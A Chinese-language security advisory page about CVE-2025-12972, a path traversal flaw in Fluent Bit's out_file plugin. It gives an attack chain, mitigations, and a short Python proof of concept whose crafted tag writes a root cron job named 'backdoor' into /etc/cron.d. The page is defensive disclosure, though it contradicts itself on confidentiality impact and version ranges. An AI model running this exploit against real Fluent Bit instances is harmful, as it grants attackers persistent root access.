IPBUF安全漏洞报告
English
CVE-2025-12972 CVSS 5.3 中危

CVE-2025-12972 Fluent Bit out_file插件路径遍历漏洞

披露日期: 2025-11-24

漏洞信息

漏洞编号
CVE-2025-12972
漏洞类型
路径遍历
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Fluent Bit

相关标签

路径遍历Fluent Bitout_file插件任意文件写入日志处理云安全CVE-2025-12972

漏洞概述

CVE-2025-12972是Fluent Bit日志处理器中out_file插件的一个路径遍历安全漏洞。该漏洞源于out_file插件在未提供File选项时,直接使用未经过滤的tag值来构建输出文件路径。攻击者可以通过网络访问Fluent Bit实例,构造包含路径遍历序列(如../)的恶意tag值,从而突破预期的输出目录限制,将任意内容写入服务器文件系统上的任意位置。此漏洞可能导致敏感数据泄露、配置文件被篡改或系统完整性受损。由于Fluent Bit通常部署在云环境和容器化基础设施中用于日志收集和处理,此漏洞可能影响大规模分布式系统的安全性。攻击者无需认证即可利用此漏洞,这大大增加了其潜在危害范围。

技术细节

Fluent Bit的out_file插件在处理日志输出时存在路径遍历漏洞。当用户配置out_file插件但未显式指定File选项时,插件会使用输入日志的tag值作为输出文件名的一部分。问题在于tag值直接拼接到文件路径中而未进行安全校验。攻击者可以通过发送包含路径遍历字符的恶意日志(如tag值为../../../../etc/cron.d/malicious),使插件在父目录中创建文件。CVSS 3.1评分5.3(AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)表明该漏洞可通过网络低复杂度利用,无需认证或用户交互。漏洞主要影响机密性(C:L)和完整性(I:L),可用性无影响(A:N)。修复方案应在使用tag值构建文件路径前进行严格的路径规范化处理,移除或拒绝包含路径遍历序列的输入。

攻击链分析

STEP 1
步骤1
攻击者识别运行Fluent Bit且配置了out_file插件的目标实例
STEP 2
步骤2
攻击者构造包含路径遍历序列的恶意tag值(如../../../etc/cron.d/backdoor)
STEP 3
步骤3
通过TCP/UDP协议向Fluent Bit发送构造的日志数据,tag字段包含路径遍历payload
STEP 4
步骤4
out_file插件接收日志后,未对tag进行安全校验,直接使用tag值构建输出文件路径
STEP 5
步骤5
Fluent Bit在目标路径(如/etc/cron.d/)创建文件,实现任意文件写入
STEP 6
步骤6
攻击者可通过写入cron任务、SSH authorized_keys或系统配置文件实现持久化访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import time # PoC for CVE-2025-12972 - Fluent Bit out_file Path Traversal # This PoC demonstrates how to exploit the path traversal vulnerability def send_malicious_tag(host, port, tag, message): """Send a malformed log entry with path traversal in the tag""" msgpack_data = pack_msgpack(tag, message) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) sock.send(msgpack_data) sock.close() def pack_msgpack(tag, message): """Pack data in MessagePack format for Fluent Bit""" # Simplified MessagePack packing import msgpack return msgpack.packb({ 'tag': tag, 'message': message, 'timestamp': time.time() }) # Example: Write to /etc/cron.d using path traversal malicious_tag = '../../../../etc/cron.d/backdoor' payload = '*/5 * * * * root /tmp/malicious.sh' print(f'Exploiting CVE-2025-12972 with tag: {malicious_tag}') # send_malicious_tag('target-ip', 5140, malicious_tag, payload)

影响范围

Fluent Bit < 4.1 (fixed in v4.1)
Fluent Bit < 4.0.x (backported fix in v4.0)

防御指南

临时缓解措施
在等待官方修复期间,可采取以下临时缓解措施:1)确保out_file插件配置中明确指定File选项,避免使用自动tag命名;2)使用网络ACL限制对Fluent Bit输入端口的访问,仅允许受信任的日志源;3)以最小权限运行Fluent Bit进程,限制其对敏感目录的写权限;4)启用审计日志监控异常的日志写入行为;5)考虑使用其他日志输出插件替代out_file插件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表